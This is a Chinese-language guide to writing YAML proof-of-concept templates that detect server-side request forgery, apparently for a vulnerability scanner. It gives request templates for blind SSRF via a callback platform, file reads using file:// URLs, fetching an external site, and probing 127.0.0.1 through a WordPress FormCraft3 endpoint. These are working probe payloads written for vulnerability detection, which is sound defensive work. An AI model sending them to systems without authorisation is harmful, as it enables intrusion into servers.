切记SSRF检测的是能否正确从服务端发出请求,要严格与redirect区分。同时尽量去检测有回显的情况,如果确实无回显,那么使用反连平台即可

无回显情况(Unrevealed)

这里的无回显指的是访问指定的地址没有确切的返回结果或者报错信息

无回显的SSRF较为容易进行匹配,在触发请求的地点使用正确的反连地址进行验证即可,同时在表达式中对反连平台返回的结果进行匹配。成功匹配就说明成功发送了

name: poc-yaml-ssrf-reverse
transport: http
set:
	reverse: newReverse()
	reverseURL: reverse.url
rules:
	r0:
		request:
			cache: true
			method: POST
			path: /xxx
			headers:
				Content-Type: application/json
			body: |
				{"content": "include:\n remote: {{reverseURL}}"}
		expression: response.status == 200 && reverse.wait(5)

有回显情况(Revealed)

这个与无回显正好相反,访问指定的站点之后可能会出现一些可以进行匹配的特征。这里总结下之前见过的一些情况

文件读取类型(File Read)

r0:
	request:
		cache: true
		method: POST
		path: /xxx
		headers:
			Content-Type: application/x-www-form-urlencoded
		body: |
			url=file:///{{filename}}
		follow_redirects: false
	expression: |
		response.status == 500 && response.body.bcontains(b"\"exception\":\"java.io.FileNotFoundException\",")

使用协议读取文件时,可以尝试去读取系统中存在的文件或者不存在的文件,依据response的内容与状态写出对应的匹配表达式即可

访问外部站点类型(External sites)

r0:
	request:
		cache: true
		method: GET
		path: /xxx/http/example.com
		follow_redirects: true
	expression: response.status == 200 && response.body.bcontains(b"<title>Example Domain</title>") && response.body.bcontains(b"<h1>Example Domain</h1>")
当访问外部站点时,一定需要注意的是能够访问的只是公共站点,一定不要请求一些私有项目的公开页面或者文件

这个时候我们只要尝试去匹配返回结果中关于请求站点的相关内容即可。但是注意除了被访问页面的内容之外,我们一定要去匹配一些和被访问站点不同的内容,比如说状态码以及其他存在漏洞的站点中存在的内容

但是这种方式是非常不推荐的,一方面是有目标不出网的可能性,另一方面当匹配内容与目标站点区分度不大时会有误报的风险

访问内部站点类型(Internal sites)

r0:
	request:
		cache: true
		method: GET
		path: /wp-admin/admin-ajax.php?action=formcraft3_get&URL=http://127.0.0.1:0
		follow_redirects: false
	expression: |
		response.status == 200 && response.body.bcontains(b"cURL error 3: ") && response.body.bcontains(b"failed")

这个例子说明了通过访问本地地址来验证SSRF漏洞的存在。一般这种情况下

  • 尝试访问开放的端口,判断对应端口里返回的信息进行判断
    • 不推荐,开放的端口可能过于随机,且匹配的内容过于不固定
  • 尝试访问一般情况下一定不开放或者不存在的端口,判断返回的报错信息进行判断
    • 较为推荐的写法

模板

SSRF